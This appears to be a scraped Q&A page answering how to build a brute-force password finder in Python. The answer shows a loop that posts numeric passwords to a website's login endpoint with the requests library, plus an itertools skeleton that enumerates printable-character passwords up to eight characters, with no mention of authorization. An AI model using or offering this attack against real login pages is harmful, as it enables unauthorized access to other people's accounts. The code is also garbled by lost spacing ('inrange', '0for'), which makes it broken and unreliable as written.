Skip to content Skip to sidebar Skip to footer

How Do I Create A Brute Force Password Finder Using Python?

I want to create a brute force password finder using python for ethical reasons, I looked up tutorials on how to do this and all the tutorials I found have variables that contain t

Solution 1:

So most websites will use a POST request for their logins. Identify the requests attributes and its path. Then use the requests library to make the same request inside your password cracker. Now onto the Password Cracker part. If you are looking for a numerical password cracker that is a lot easier. For example.

import requests

for i inrange(1000000):
  requests.post(path, data={"username": username, "password": i})

Now this would still remain efficient, however if you're cracking an alphanumerical password it would cross the line into completely redundant and useless. It would take 92 years on a pretty decent CPU to crack an 8 character password.

If you still insist on using an alphanumerical password cracker here would be the code

import itertools
import string

chars = string.printable
attempts = 0for password_length inrange(1, 9):
    for guess in itertools.product(chars, repeat=password_length):
        attempts += 1# Make a request to the server with the guess as the password

I highly recommend you use Cython to speed up the process. It greatly helps and speeds up by a lot.

Post a Comment for "How Do I Create A Brute Force Password Finder Using Python?"